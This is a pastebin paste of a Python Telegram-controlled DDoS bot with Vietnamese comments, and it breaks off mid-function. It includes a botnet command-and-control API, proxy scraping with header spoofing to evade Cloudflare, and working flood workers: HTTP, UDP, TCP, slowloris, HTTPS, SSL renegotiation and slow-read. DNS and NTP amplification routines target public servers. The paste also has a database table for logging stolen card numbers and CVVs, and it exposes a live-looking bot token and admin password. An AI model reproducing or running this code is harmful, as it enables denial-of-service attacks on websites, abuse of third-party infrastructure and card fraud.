Guest User

Untitled

a guest
Apr 29th, 2026
487
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 130.29 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. """
  3. TELEGRAM DDOS BOT - KHÔNG GIỚI HẠN (BẢN NÂNG CẤP CAO NHẤT + THÊM TÍNH NĂNG)
  4. - Giữ nguyên mọi tính năng cũ
  5. - Thêm botnet mạnh, database, broadcast, update client, báo cáo chi tiết
  6. - Thêm chart, deploy, version, update, cvv, getcvv
  7. - Thêm 10+ method DDoS mới (http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv)
  8. - Thêm nguồn proxy, tăng lên 500
  9. - ĐÃ SỬA LỖI: check web chính xác, proxy tự động loại bỏ khi chết, retry khi request fail
  10. - THÊM MỚI: WiFi Deauth, Bluetooth Deauth, WiFi Crack, Quét WiFi/Bluetooth, Full Attack 2026
  11. """
  12.  
  13. import telebot
  14. import threading
  15. import requests
  16. import time
  17. import random
  18. import json
  19. import os
  20. import socket
  21. import ssl
  22. import sys
  23. import signal
  24. import logging
  25. import sqlite3
  26. from datetime import datetime
  27. from collections import defaultdict
  28. from concurrent.futures import ThreadPoolExecutor, as_completed
  29. from flask import Flask, request
  30.  
  31. # === THƯ VIỆN THÊM MỚI ===
  32. import matplotlib.pyplot as plt
  33. import io
  34. import hashlib
  35. import base64
  36. from cryptography.fernet import Fernet
  37.  
  38. # === THƯ VIỆN CHO WIFI/BLUETOOTH ATTACK ===
  39. import struct
  40. import secrets
  41. import subprocess
  42. import platform
  43. import re
  44. import uuid
  45.  
  46. # ==================== CẤU HÌNH ====================
  47. BOT_TOKEN = "8213292428:AAGAlEozq_rAemQvChVAtrTN92OebiUAJ-s"
  48. ADMIN_ID = 7593738229
  49. ADMIN_PASSWORD = "7788"
  50. MASTER_KEY = "7788"
  51. CURRENT_VERSION = "3.0"
  52. GITHUB_REPO = "https://raw.githubusercontent.com/YOUR_USERNAME/YOUR_REPO/main/bot.py"  # THAY LINK GITHUB
  53.  
  54. bot = telebot.TeleBot(BOT_TOKEN)
  55.  
  56. # Xóa webhook cũ
  57. try:
  58.     bot.delete_webhook()
  59.     print("✅ Đã xóa webhook cũ")
  60. except Exception as e:
  61.     print(f"⚠️ Không thể xóa webhook: {e}")
  62.  
  63. # File lưu dữ liệu cũ
  64. KEYS_FILE = "keys.json"
  65. HISTORY_FILE = "history.json"
  66. PROXY_FILE = "proxy.txt"
  67. USER_FILE = "users.json"
  68. LOG_FILE = "ddos_bot.log"
  69.  
  70. # Cấu hình logging
  71. logging.basicConfig(
  72.     level=logging.INFO,
  73.     format='%(asctime)s - %(levelname)s - %(message)s',
  74.     handlers=[
  75.         logging.FileHandler(LOG_FILE),
  76.         logging.StreamHandler()
  77.     ]
  78. )
  79.  
  80. # === BOTNET NÂNG CẤP: SQLITE DATABASE ===
  81. def init_db():
  82.     conn = sqlite3.connect('c2.db')
  83.     c = conn.cursor()
  84.     c.execute('''CREATE TABLE IF NOT EXISTS clients
  85.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, ip TEXT, last_seen TEXT, info TEXT, status TEXT, version TEXT)''')
  86.     c.execute('''CREATE TABLE IF NOT EXISTS attacks
  87.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, target TEXT, workers TEXT, rps TEXT, method TEXT, duration TEXT, time TEXT, status TEXT)''')
  88.     c.execute('''CREATE TABLE IF NOT EXISTS reports
  89.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, client_ip TEXT, result TEXT, time TEXT)''')
  90.     c.execute('''CREATE TABLE IF NOT EXISTS cvv_logs
  91.                 (id INTEGER PRIMARY KEY AUTOINCREMENT, cc TEXT, cvv TEXT, exp TEXT, time TEXT)''')
  92.     conn.commit()
  93.     conn.close()
  94.  
  95. init_db()
  96.  
  97. def save_client(ip, info, version="1.0"):
  98.     conn = sqlite3.connect('c2.db')
  99.     c = conn.cursor()
  100.     c.execute("INSERT OR REPLACE INTO clients (ip, last_seen, info, status, version) VALUES (?, ?, ?, ?, ?)",
  101.               (ip, datetime.now().isoformat(), json.dumps(info), "active", version))
  102.     conn.commit()
  103.     conn.close()
  104.  
  105. def save_attack(target, workers, rps, method, duration):
  106.     conn = sqlite3.connect('c2.db')
  107.     c = conn.cursor()
  108.     c.execute("INSERT INTO attacks (target, workers, rps, method, duration, time, status) VALUES (?, ?, ?, ?, ?, ?, ?)",
  109.               (target, workers, rps, method, duration, datetime.now().isoformat(), "sent"))
  110.     conn.commit()
  111.     conn.close()
  112.  
  113. def save_report(client_ip, result):
  114.     conn = sqlite3.connect('c2.db')
  115.     c = conn.cursor()
  116.     c.execute("INSERT INTO reports (client_ip, result, time) VALUES (?, ?, ?)",
  117.               (client_ip, result, datetime.now().isoformat()))
  118.     conn.commit()
  119.     conn.close()
  120.  
  121. def save_cvv(cc, cvv, exp):
  122.     conn = sqlite3.connect('c2.db')
  123.     c = conn.cursor()
  124.     c.execute("INSERT INTO cvv_logs (cc, cvv, exp, time) VALUES (?, ?, ?, ?)",
  125.               (cc, cvv, exp, datetime.now().isoformat()))
  126.     conn.commit()
  127.     conn.close()
  128.  
  129. # Biến toàn cục
  130. attacks = {}
  131. request_counts = defaultdict(int)
  132. logged_in = {}
  133. proxy_list = []
  134. botnet_clients = []
  135. lock = threading.Lock()
  136. rate_limit_storage = defaultdict(list)
  137.  
  138. # === Biến toàn cục cho WiFi/Bluetooth Attack ===
  139. active_deauth = {}
  140. deauth_lock = threading.Lock()
  141. active_bt_deauth = {}
  142. bt_deauth_lock = threading.Lock()
  143.  
  144. # === Biến toàn cục cho BOTNET C2 ===
  145. BOTNET_HIERARCHY = {
  146.     "master_nodes": {},
  147.     "slave_nodes": {},
  148.     "tasks": {},
  149.     "completed_tasks": [],
  150.     "collected_data": []
  151. }
  152.  
  153. # === BOTNET: Flask API cho client ===
  154. flask_app = Flask(__name__)
  155. current_botnet_command = None
  156.  
  157. @flask_app.route('/register', methods=['POST'])
  158. def register():
  159.     data = request.json
  160.     secret = data.get('secret')
  161.     if secret != MASTER_KEY:
  162.         return "Unauthorized", 401
  163.     client_ip = request.remote_addr
  164.     info = data.get('info', {})
  165.     version = data.get('version', '1.0')
  166.     for c in botnet_clients:
  167.         if c['ip'] == client_ip:
  168.             c['last_seen'] = time.time()
  169.             c['version'] = version
  170.             save_client(client_ip, info, version)
  171.             return "OK", 200
  172.     botnet_clients.append({'ip': client_ip, 'last_seen': time.time(), 'info': info, 'version': version})
  173.     save_client(client_ip, info, version)
  174.     print(f"✅ Client mới: {client_ip} (v{version})")
  175.     return "OK", 200
  176.  
  177. @flask_app.route('/get_command', methods=['GET'])
  178. def get_command():
  179.     secret = request.args.get('secret')
  180.     if secret != MASTER_KEY:
  181.         return "Unauthorized", 401
  182.     if current_botnet_command:
  183.         return current_botnet_command, 200
  184.     return "None", 200
  185.  
  186. @flask_app.route('/report', methods=['POST'])
  187. def report():
  188.     data = request.json
  189.     secret = data.get('secret')
  190.     if secret != MASTER_KEY:
  191.         return "Unauthorized", 401
  192.     client_ip = request.remote_addr
  193.     result = data.get('result')
  194.     save_report(client_ip, result)
  195.     print(f"📊 Report từ {client_ip}: {result}")
  196.     return "OK", 200
  197.  
  198. @flask_app.route('/static/client.py', methods=['GET'])
  199. def get_client_code():
  200.     try:
  201.         with open("client.py", "r") as f:
  202.             return f.read(), 200
  203.     except:
  204.         return "Client code not found", 404
  205.  
  206. @flask_app.route('/update', methods=['GET'])
  207. def update_client():
  208.     secret = request.args.get('secret')
  209.     if secret != MASTER_KEY:
  210.         return "Unauthorized", 401
  211.     try:
  212.         with open("client.py", "r") as f:
  213.             return f.read(), 200
  214.     except:
  215.         return "Client code not found", 404
  216.  
  217. def run_botnet_api():
  218.     port = int(os.environ.get("BOTNET_PORT", 8080))
  219.     flask_app.run(host='0.0.0.0', port=port, debug=False)
  220.  
  221. threading.Thread(target=run_botnet_api, daemon=True).start()
  222. # === END BOTNET ===
  223.  
  224. DNS_SERVERS = ["8.8.8.8", "1.1.1.1", "8.8.4.4", "9.9.9.9", "208.67.222.222", "208.67.220.220"]
  225. NTP_SERVERS = ["time.google.com", "time.cloudflare.com", "pool.ntp.org", "time.nist.gov"]
  226. MEMCACHED_SERVERS = []
  227.  
  228. USER_AGENTS = [
  229.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
  230.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
  231.     "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
  232.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
  233.     "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
  234.     "Mozilla/5.0 (Linux; Android 13; SM-S911B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36",
  235.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0",
  236.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
  237.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/118.0",
  238.     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  239.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  240.     "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36",
  241. ]
  242.  
  243. REFERERS = [
  244.     "https://www.google.com/", "https://www.facebook.com/", "https://www.youtube.com/",
  245.     "https://www.bing.com/", "https://www.yahoo.com/", "https://www.amazon.com/",
  246.     "https://www.twitter.com/", "https://www.instagram.com/", "https://www.tiktok.com/",
  247.     "https://www.reddit.com/", "https://www.wikipedia.org/", "https://www.linkedin.com/",
  248.     "https://www.github.com/", "https://stackoverflow.com/", "https://news.ycombinator.com/"
  249. ]
  250.  
  251. # ==================== HÀM TIỆN ÍCH ====================
  252. def random_ip():
  253.     return f"{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}"
  254.  
  255. def random_cf_header():
  256.     return {
  257.         "CF-Ray": f"cf-{random.randint(1000,9999)}-{random.randint(100,999)}",
  258.         "CF-IPCountry": random.choice(["VN", "US", "JP", "KR", "SG", "DE", "FR"]),
  259.         "CF-Connecting-IP": random_ip(),
  260.     }
  261.  
  262. def get_headers():
  263.     headers = {
  264.         "User-Agent": random.choice(USER_AGENTS),
  265.         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  266.         "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
  267.         "Accept-Encoding": "gzip, deflate, br",
  268.         "Cache-Control": "no-cache, no-store, must-revalidate",
  269.         "Connection": "keep-alive",
  270.         "Upgrade-Insecure-Requests": "1",
  271.         "Referer": random.choice(REFERERS),
  272.         "X-Forwarded-For": random_ip(),
  273.         "X-Real-IP": random_ip(),
  274.         "Sec-Fetch-Mode": "navigate",
  275.         "Sec-Fetch-User": "?1",
  276.         "Sec-Fetch-Site": "none",
  277.         "Pragma": "no-cache",
  278.         "DNT": "1",
  279.     }
  280.     cf_headers = random_cf_header()
  281.     headers.update(cf_headers)
  282.     return headers
  283.  
  284. def random_query_string(url):
  285.     chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  286.     param = "".join(random.choice(chars) for _ in range(random.randint(5, 12)))
  287.     value = random.randint(1000, 9999)
  288.     if "?" in url:
  289.         return f"{url}&{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
  290.     return f"{url}?{param}={value}&_={int(time.time())}&cf_cache={random.randint(100,999)}"
  291.  
  292. def is_target_alive(target):
  293.     try:
  294.         headers = get_headers()
  295.         r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
  296.         if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
  297.             return "CF_CHALLENGE", r.status_code
  298.         return "ALIVE", r.status_code
  299.     except:
  300.         return "DEAD", None
  301.  
  302. def is_rate_limited(user_id, limit=20, window=60):
  303.     now = time.time()
  304.     rate_limit_storage[user_id] = [t for t in rate_limit_storage[user_id] if now - t < window]
  305.     if len(rate_limit_storage[user_id]) >= limit:
  306.         return True
  307.     rate_limit_storage[user_id].append(now)
  308.     return False
  309.  
  310. # ==================== HÀM CHECK WEB CHÍNH XÁC ====================
  311. def is_web_alive(target):
  312.     for attempt in range(3):
  313.         try:
  314.             headers = {
  315.                 "User-Agent": random.choice(USER_AGENTS),
  316.                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
  317.                 "Accept-Language": "vi-VN,vi;q=0.9,en-US;q=0.6,en;q=0.5",
  318.                 "Cache-Control": "no-cache",
  319.                 "Connection": "keep-alive",
  320.             }
  321.             r = requests.get(target, headers=headers, timeout=5, allow_redirects=True)
  322.             if r.status_code < 500:
  323.                 return True
  324.             if r.status_code in [403, 429, 503]:
  325.                 return True
  326.             if "cf-challenge" in r.text.lower() or "cloudflare" in r.text.lower():
  327.                 return True
  328.         except requests.exceptions.Timeout:
  329.             continue
  330.         except requests.exceptions.ConnectionError:
  331.             if attempt == 2:
  332.                 return False
  333.             continue
  334.         except:
  335.             pass
  336.         time.sleep(1)
  337.     try:
  338.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  339.         port = 443 if "https://" in target else 80
  340.         sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  341.         sock.settimeout(3)
  342.         result = sock.connect_ex((host, port))
  343.         sock.close()
  344.         if result == 0:
  345.             return True
  346.     except:
  347.         pass
  348.     return False
  349.  
  350. # ==================== QUẢN LÝ KEY VÀ LỊCH SỬ ====================
  351. def load_keys():
  352.     if not os.path.exists(KEYS_FILE):
  353.         return {}
  354.     try:
  355.         with open(KEYS_FILE, 'r', encoding='utf-8') as f:
  356.             return json.load(f)
  357.     except:
  358.         return {}
  359.  
  360. def save_keys(keys):
  361.     with open(KEYS_FILE, 'w', encoding='utf-8') as f:
  362.         json.dump(keys, f, ensure_ascii=False, indent=2)
  363.  
  364. def generate_key():
  365.     import secrets
  366.     return secrets.token_hex(10)
  367.  
  368. def create_key(admin_id, days=30, max_uses=1):
  369.     keys = load_keys()
  370.     new_key = generate_key()
  371.     keys[new_key] = {
  372.         'created_by': admin_id,
  373.         'created_at': time.time(),
  374.         'expiry': time.time() + (days * 86400),
  375.         'used_by': [],
  376.         'max_uses': max_uses,
  377.     }
  378.     save_keys(keys)
  379.     logging.info(f"Admin {admin_id} tạo key {new_key} - {days} ngày")
  380.     return new_key
  381.  
  382. def delete_key(key):
  383.     keys = load_keys()
  384.     if key in keys:
  385.         del keys[key]
  386.         save_keys(keys)
  387.         logging.info(f"Key {key} đã bị xóa")
  388.         return True
  389.     return False
  390.  
  391. def check_key(key, user_id):
  392.     keys = load_keys()
  393.     if key not in keys:
  394.         return {'valid': False, 'reason': 'Key không tồn tại'}
  395.     data = keys[key]
  396.     if time.time() > data['expiry']:
  397.         return {'valid': False, 'reason': 'Key đã hết hạn'}
  398.     if len(data.get('used_by', [])) >= data.get('max_uses', 1):
  399.         return {'valid': False, 'reason': 'Key đã dùng hết số lần'}
  400.     return {'valid': True, 'expiry': data['expiry']}
  401.  
  402. def use_key(key, user_id):
  403.     keys = load_keys()
  404.     if key not in keys:
  405.         return False
  406.     if user_id not in keys[key].get('used_by', []):
  407.         keys[key].setdefault('used_by', []).append(user_id)
  408.         save_keys(keys)
  409.         logging.info(f"Key {key} được dùng bởi user {user_id}")
  410.     return True
  411.  
  412. def load_history():
  413.     if not os.path.exists(HISTORY_FILE):
  414.         return []
  415.     try:
  416.         with open(HISTORY_FILE, 'r', encoding='utf-8') as f:
  417.             return json.load(f)
  418.     except:
  419.         return []
  420.  
  421. def save_history(history):
  422.     with open(HISTORY_FILE, 'w', encoding='utf-8') as f:
  423.         json.dump(history[:50], f, ensure_ascii=False, indent=2)
  424.  
  425. def add_to_history(target, total_reqs, max_rps, duration, workers, method, rps_target, web_died=False):
  426.     history = load_history()
  427.     history.insert(0, {
  428.         'target': target,
  429.         'requests': total_reqs,
  430.         'max_rps': max_rps,
  431.         'duration': duration,
  432.         'workers': workers,
  433.         'method': method,
  434.         'rps_target': rps_target,
  435.         'web_died': web_died,
  436.         'time': datetime.now().strftime("%H:%M:%S %d/%m/%Y")
  437.     })
  438.     save_history(history)
  439.  
  440. def load_users():
  441.     if not os.path.exists(USER_FILE):
  442.         return {}
  443.     try:
  444.         with open(USER_FILE, 'r', encoding='utf-8') as f:
  445.             return json.load(f)
  446.     except:
  447.         return {}
  448.  
  449. def save_users(users):
  450.     with open(USER_FILE, 'w', encoding='utf-8') as f:
  451.         json.dump(users, f, ensure_ascii=False, indent=2)
  452.  
  453. # ==================== PROXY TỰ ĐỘNG ====================
  454. def fetch_free_proxies():
  455.     proxies = []
  456.     try:
  457.         url = "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=http&timeout=5000&country=all&ssl=all&anonymity=all"
  458.         r = requests.get(url, timeout=10)
  459.         proxies += [p.strip() for p in r.text.split('\r\n') if p.strip()]
  460.         logging.info(f"Lấy {len([p for p in proxies if p])} proxy từ proxyscrape")
  461.     except Exception as e:
  462.         logging.warning(f"Lỗi lấy proxy từ proxyscrape: {e}")
  463.     try:
  464.         url = "https://proxylist.geonode.com/api/proxy-list?limit=100&page=1&sort_by=lastChecked&sort_type=desc"
  465.         r = requests.get(url, timeout=10)
  466.         data = r.json()
  467.         for p in data.get('data', []):
  468.             proxies.append(f"{p['ip']}:{p['port']}")
  469.         logging.info(f"Lấy {len(data.get('data', []))} proxy từ geonode")
  470.     except Exception as e:
  471.         logging.warning(f"Lỗi lấy proxy từ geonode: {e}")
  472.     try:
  473.         url = "https://free-proxy-list.net/"
  474.         r = requests.get(url, timeout=10)
  475.         import re
  476.         pattern = r'</td>(\d+\.\d+\.\d+\.\d+)</td><td>(\d+)</td>'
  477.         matches = re.findall(pattern, r.text)
  478.         for match in matches[:50]:
  479.             proxies.append(f"{match[0]}:{match[1]}")
  480.         logging.info(f"Lấy {len(matches[:50])} proxy từ free-proxy-list")
  481.     except Exception as e:
  482.         logging.warning(f"Lỗi lấy proxy từ free-proxy-list: {e}")
  483.     try:
  484.         url = "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt"
  485.         r = requests.get(url, timeout=10)
  486.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  487.     except: pass
  488.     try:
  489.         url = "https://raw.githubusercontent.com/ShiftyTR/Proxy-List/master/http.txt"
  490.         r = requests.get(url, timeout=10)
  491.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  492.     except: pass
  493.     try:
  494.         url = "https://raw.githubusercontent.com/monosans/proxy-list/main/proxies/http.txt"
  495.         r = requests.get(url, timeout=10)
  496.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  497.     except: pass
  498.     try:
  499.         url = "https://raw.githubusercontent.com/jetkai/proxy-list/main/online-proxies/txt/proxies-http.txt"
  500.         r = requests.get(url, timeout=10)
  501.         proxies += [p.strip() for p in r.text.split('\n') if p.strip() and ':' in p]
  502.     except: pass
  503.     proxies = list(dict.fromkeys(proxies))
  504.     return proxies[:500]
  505.  
  506. def check_proxy(proxy):
  507.     try:
  508.         r = requests.get("http://httpbin.org/ip", proxies={"http": proxy, "https": proxy}, timeout=5)
  509.         return proxy if r.status_code == 200 else None
  510.     except:
  511.         return None
  512.  
  513. def update_proxy_list():
  514.     global proxy_list
  515.     logging.info("Đang cập nhật proxy...")
  516.     raw = fetch_free_proxies()
  517.     if not raw:
  518.         logging.warning("Không lấy được proxy raw")
  519.         return
  520.     alive = []
  521.     with ThreadPoolExecutor(max_workers=50) as executor:
  522.         futures = {executor.submit(check_proxy, p): p for p in raw[:200]}
  523.         for future in as_completed(futures):
  524.             result = future.result()
  525.             if result:
  526.                 alive.append(result)
  527.     if alive:
  528.         fast_proxies = []
  529.         for p in alive[:50]:
  530.             try:
  531.                 start = time.time()
  532.                 r = requests.get("http://httpbin.org/ip", proxies={"http": p, "https": p}, timeout=3)
  533.                 elapsed = time.time() - start
  534.                 if elapsed < 2:
  535.                     fast_proxies.append(p)
  536.             except:
  537.                 pass
  538.         if fast_proxies:
  539.             alive = fast_proxies
  540.             logging.info(f"✅ Lọc nhanh: giữ lại {len(fast_proxies)} proxy (response < 2s)")
  541.     if alive:
  542.         proxy_list = alive
  543.         with open(PROXY_FILE, 'w') as f:
  544.             for p in proxy_list:
  545.                 f.write(p + "\n")
  546.         logging.info(f"Đã cập nhật {len(proxy_list)} proxy")
  547.     else:
  548.         if os.path.exists(PROXY_FILE):
  549.             with open(PROXY_FILE, 'r') as f:
  550.                 proxy_list = [p.strip() for p in f if p.strip() and not p.startswith('#')]
  551.             logging.info(f"Đã tải {len(proxy_list)} proxy từ file backup")
  552.  
  553. def get_random_proxy():
  554.     global proxy_list
  555.     if not proxy_list:
  556.         return None
  557.     for _ in range(5):
  558.         proxy = random.choice(proxy_list)
  559.         try:
  560.             test_url = "http://httpbin.org/ip"
  561.             r = requests.get(test_url, proxies={"http": proxy, "https": proxy}, timeout=3)
  562.             if r.status_code == 200:
  563.                 return {"http": proxy, "https": proxy}
  564.             else:
  565.                 if proxy in proxy_list:
  566.                     proxy_list.remove(proxy)
  567.         except:
  568.             if proxy in proxy_list:
  569.                 proxy_list.remove(proxy)
  570.             continue
  571.     return None
  572.  
  573. # ==================== CÁC WORKER TẤN CÔNG ====================
  574. def http_worker(chat_id, target, delay_ms, worker_id):
  575.     session = requests.Session()
  576.     while attacks.get(chat_id, {}).get('active', False):
  577.         try:
  578.             url = random_query_string(target)
  579.             headers = get_headers()
  580.             session.get(url, headers=headers, timeout=2, proxies=get_random_proxy())
  581.             session.head(url, headers=headers, timeout=1)
  582.             session.options(url, headers=headers, timeout=1)
  583.             session.post(url, headers=headers, data={'x': random.random()}, timeout=2)
  584.             with lock:
  585.                 request_counts[chat_id] += 4
  586.         except:
  587.             pass
  588.         time.sleep(delay_ms / 1000)
  589.  
  590. def udp_worker(chat_id, target, delay_ms, worker_id):
  591.     try:
  592.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  593.         port = 80 if "http://" in target else 443
  594.     except:
  595.         host = target
  596.         port = 80
  597.     while attacks.get(chat_id, {}).get('active', False):
  598.         try:
  599.             sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  600.             for _ in range(10):
  601.                 payload = random._urandom(2048)
  602.                 sock.sendto(payload, (host, port))
  603.             sock.close()
  604.             with lock:
  605.                 request_counts[chat_id] += 10
  606.         except:
  607.             pass
  608.         time.sleep(delay_ms / 1000)
  609.  
  610. def tcp_worker(chat_id, target, delay_ms, worker_id):
  611.     try:
  612.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  613.         port = 80 if "http://" in target else 443
  614.     except:
  615.         host = target
  616.         port = 80
  617.     while attacks.get(chat_id, {}).get('active', False):
  618.         try:
  619.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  620.             sock.settimeout(1)
  621.             sock.connect((host, port))
  622.             sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
  623.             sock.close()
  624.             with lock:
  625.                 request_counts[chat_id] += 1
  626.         except:
  627.             pass
  628.         time.sleep(delay_ms / 1000)
  629.  
  630. def slowloris_worker(chat_id, target, delay_ms, worker_id):
  631.     try:
  632.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  633.         port = 80 if "http://" in target else 443
  634.     except:
  635.         host = target
  636.         port = 80
  637.     sockets = []
  638.     while attacks.get(chat_id, {}).get('active', False):
  639.         try:
  640.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  641.             sock.settimeout(5)
  642.             sock.connect((host, port))
  643.             sock.sendto(f"GET / HTTP/1.1\r\nHost: {host}\r\n".encode(), (host, port))
  644.             sockets.append(sock)
  645.             for s in sockets[:]:
  646.                 try:
  647.                     s.sendto(f"X-Header-{random.randint(1,9999)}: {random.randint(1,9999)}\r\n".encode(), (host, port))
  648.                     with lock:
  649.                         request_counts[chat_id] += 1
  650.                 except:
  651.                     sockets.remove(s)
  652.             time.sleep(random.uniform(0.5, 1.5))
  653.         except:
  654.             pass
  655.  
  656. def https_flood_worker(chat_id, target, delay_ms, worker_id):
  657.     try:
  658.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  659.         port = 443
  660.     except:
  661.         host = target
  662.         port = 443
  663.     while attacks.get(chat_id, {}).get('active', False):
  664.         try:
  665.             context = ssl.create_default_context()
  666.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  667.             sock.settimeout(5)
  668.             sock.connect((host, port))
  669.             ssock = context.wrap_socket(sock, server_hostname=host)
  670.             headers = get_headers()
  671.             request = f"GET / HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {headers['User-Agent']}\r\nReferer: {headers['Referer']}\r\nX-Forwarded-For: {headers['X-Forwarded-For']}\r\n\r\n"
  672.             ssock.send(request.encode())
  673.             ssock.close()
  674.             with lock:
  675.                 request_counts[chat_id] += 1
  676.         except:
  677.             pass
  678.         time.sleep(delay_ms / 1000)
  679.  
  680. def dns_amplification_worker(chat_id, target, delay_ms, worker_id):
  681.     query = b'\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00'
  682.     query += b'\x03www\x07example\x03com\x00\x00\x01\x00\x01' * 50
  683.     while attacks.get(chat_id, {}).get('active', False):
  684.         for dns_server in DNS_SERVERS:
  685.             try:
  686.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  687.                 sock.sendto(query, (dns_server, 53))
  688.                 sock.close()
  689.                 with lock:
  690.                     request_counts[chat_id] += 1
  691.             except:
  692.                 pass
  693.         time.sleep(delay_ms / 1000)
  694.  
  695. def ntp_amplification_worker(chat_id, target, delay_ms, worker_id):
  696.     monlist_packet = b'\x17\x00\x03\x2a' + b'\x00' * 4
  697.     while attacks.get(chat_id, {}).get('active', False):
  698.         for ntp_server in NTP_SERVERS:
  699.             try:
  700.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  701.                 sock.sendto(monlist_packet, (ntp_server, 123))
  702.                 sock.close()
  703.                 with lock:
  704.                     request_counts[chat_id] += 1
  705.             except:
  706.                 pass
  707.         time.sleep(delay_ms / 1000)
  708.  
  709. def ssl_renegotiation_worker(chat_id, target, delay_ms, worker_id):
  710.     try:
  711.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  712.     except:
  713.         host = target
  714.     while attacks.get(chat_id, {}).get('active', False):
  715.         try:
  716.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  717.             sock.connect((host, 443))
  718.             context = ssl.create_default_context()
  719.             ssock = context.wrap_socket(sock, server_hostname=host)
  720.             for _ in range(5):
  721.                 ssock.do_handshake()
  722.             ssock.close()
  723.             with lock:
  724.                 request_counts[chat_id] += 5
  725.         except:
  726.             pass
  727.         time.sleep(delay_ms / 1000)
  728.  
  729. def slow_read_worker(chat_id, target, delay_ms, worker_id):
  730.     try:
  731.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  732.         port = 80 if "http://" in target else 443
  733.     except:
  734.         host = target
  735.         port = 80
  736.     while attacks.get(chat_id, {}).get('active', False):
  737.         try:
  738.             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  739.             sock.connect((host, port))
  740.             sock.sendto(b"GET / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n\r\n", (host, port))
  741.             while attacks.get(chat_id, {}).get('active', False):
  742.                 sock.recv(1)
  743.                 time.sleep(0.5)
  744.             sock.close()
  745.         except:
  746.             pass
  747.  
  748. def combo_worker(chat_id, target, delay_ms, worker_id):
  749.     try:
  750.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  751.         port = 80 if "http://" in target else 443
  752.     except:
  753.         host = target
  754.         port = 80
  755.     session = requests.Session()
  756.     while attacks.get(chat_id, {}).get('active', False):
  757.         retry_count = 0
  758.         success = False
  759.         while retry_count < 2 and not success:
  760.             try:
  761.                 headers = get_headers()
  762.                 url = random_query_string(target)
  763.                 proxy = get_random_proxy()
  764.                 proxy_to_use = proxy if proxy else None
  765.                 session.get(url, headers=headers, timeout=2, proxies=proxy_to_use)
  766.                 session.post(url, headers=headers, data={'x': random.random()}, timeout=2, proxies=proxy_to_use)
  767.                 session.head(url, headers=headers, timeout=1, proxies=proxy_to_use)
  768.                 session.options(url, headers=headers, timeout=1, proxies=proxy_to_use)
  769.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  770.                 sock.sendto(random._urandom(1024), (host, port))
  771.                 sock.close()
  772.                 sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  773.                 sock2.settimeout(0.5)
  774.                 sock2.connect((host, port))
